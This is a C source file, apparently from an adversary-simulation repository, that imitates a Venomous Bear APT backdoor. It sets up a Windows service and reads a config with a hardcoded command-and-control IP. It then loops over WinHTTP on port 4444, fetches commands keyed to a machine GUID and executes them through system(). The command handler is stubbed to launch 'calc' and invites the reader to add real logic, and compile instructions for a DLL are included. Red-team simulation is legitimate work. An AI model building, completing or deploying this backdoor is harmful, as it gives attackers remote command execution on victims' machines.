APTs-Adversary-Simulation/Russian APT/Venomous-Bear-APT/backdoor.c

//This backdoor includes the following components:

//1.Service Control Handler: Registers a service control handler to manage the service's state.
//2.Main Malware Function: Placeholder for the main logic of the backdoor.
//3.Configuration Reading: Initializes the configuration with placeholders for actual values.
//4.C2 Command Retrieval: Simulates retrieving commands from a Command and Control (C2) server.
//5.Command Processing: Processes the retrieved commands (currently simulated).
//6.Service Loop: Continuously connects to the C2 server and processes commands, with error handling and cleanup.

//Adjust the placeholder values and add the actual logic for backdoor operations and C2 command processing as per your requirements.
//Disclaimer: this backdoor for research & simulation, i am not responsible if anyone uses this payload for illegal purposes

// Author: S3N4T0R
// Date: 2024-6-8

//manual compile: x86_64-w64-mingw32-gcc -o backdoor.dll backdoor.c -lwinhttp

#include <windows.h>
#include <winhttp.h>
#include <stdio.h>

#define WINHTTP_FLAG_SECURE 0x00800000

typedef struct _sConfig {
    LPCWSTR lpSubKey;
    int TimeLongValue;
    int TimeShortValue;
    LPCWSTR SecurityValue;
    LPCWSTR Hosts;
    int NumIPs;
    int HostsIndex;
    LPCWSTR MachineGuidValue;
    int authenticated;
    PROCESS_INFORMATION subprocess;
} sConfig;

SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hServiceStatus;
sConfig *config;

void HandlerProc(DWORD dwControl) {
    // Handler for service control
}

void main_malware(const char *serviceName) {
    // Placeholder for main malware logic
    printf("Running main malware logic for service: %s\n", serviceName);
}

DWORD _fastcall ServiceMain(DWORD dwArgc, LPCWSTR *lpszArgv) {
    const char *serviceName = (const char *)*lpszArgv;
    hServiceStatus = RegisterServiceCtrlHandlerW(*lpszArgv, HandlerProc);
    
    if (hServiceStatus) {
        ServiceStatus.dwCurrentState = SERVICE_RUNNING;
        if (SetServiceStatus(hServiceStatus, &ServiceStatus)) {
            main_malware(serviceName);
            ServiceStatus.dwCurrentState = SERVICE_STOPPED;
            SetServiceStatus(hServiceStatus, &ServiceStatus);
        }
    }
    
    return (DWORD)(uintptr_t)hServiceStatus;
}

sConfig* ReadConfig() {
    // Function to read and initialize configuration
    sConfig* result = (sConfig *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(sConfig));
    result->Hosts = L"192.168.1.9"; // Adjust the IP address here
    result->NumIPs = 1;
    result->HostsIndex = 0;
    result->TimeLongValue = 30000; // Example value for long sleep time
    result->TimeShortValue = 5000; // Example value for short sleep time
    result->SecurityValue = L"default_password"; // Example security value
    result->MachineGuidValue = L"unique_machine_guid"; // Example machine GUID
    result->authenticated = 0;
    ZeroMemory(&(result->subprocess), sizeof(PROCESS_INFORMATION));
    return result;
}

BOOL C2_GetCommand(HINTERNET hConnect, LPCWSTR machineGuid, BYTE **responseData, DWORD *responseDataLength) {
    BOOL result = FALSE;
    HINTERNET hRequest = NULL;
    DWORD bytesRead = 0;

    WCHAR requestPath[256];
    swprintf(requestPath, 256, L"/get_command?guid=%s", machineGuid);

    hRequest = WinHttpOpenRequest(hConnect, L"GET", requestPath, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
    
    if (hRequest) {
        if (WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) &&
            WinHttpReceiveResponse(hRequest, NULL)) {
            WinHttpQueryDataAvailable(hRequest, responseDataLength);

            if (*responseDataLength > 0) {
                *responseData = (BYTE *)HeapAlloc(GetProcessHeap(), 0, *responseDataLength + 1);
                if (WinHttpReadData(hRequest, *responseData, *responseDataLength, &bytesRead)) {
                    (*responseData)[*responseDataLength] = 0; // Null-terminate the data
                    result = TRUE;
                } else {
                    HeapFree(GetProcessHeap(), 0, *responseData);
                    *responseData = NULL;
                }
            }
        }
        WinHttpCloseHandle(hRequest);
    }

    return result;
}

void ProcessCommand(sConfig *config, BYTE *commandData, DWORD commandDataLength) {
    printf("Processing command: %s\n", commandData);

    if (strncmp((char *)commandData, "calc", 4) == 0) {
        system("calc");
    }

    // Add real command processing logic here
}

void ServiceLoop() {
    HINTERNET hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    HINTERNET hConnect = WinHttpConnect(hSession, config->Hosts, 4444, 0);

    if (!hConnect) goto SHUTDOWN;

    while (1) {
        BYTE *commandData = NULL;
        DWORD commandDataLength = 0;

        if (!C2_GetCommand(hConnect, config->MachineGuidValue, &commandData, &commandDataLength)) {
            goto SHUTDOWN;
        }

        ProcessCommand(config, commandData, commandDataLength);

        if (commandData) {
            HeapFree(GetProcessHeap(), 0, commandData);
        }

        Sleep(config->TimeShortValue);
    }

SHUTDOWN:
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);
}

int main() {
    LPCWSTR argv[] = {L"DummyService"};
    config = ReadConfig();
    ServiceMain(1, argv);
    ServiceLoop();
    return 0;
}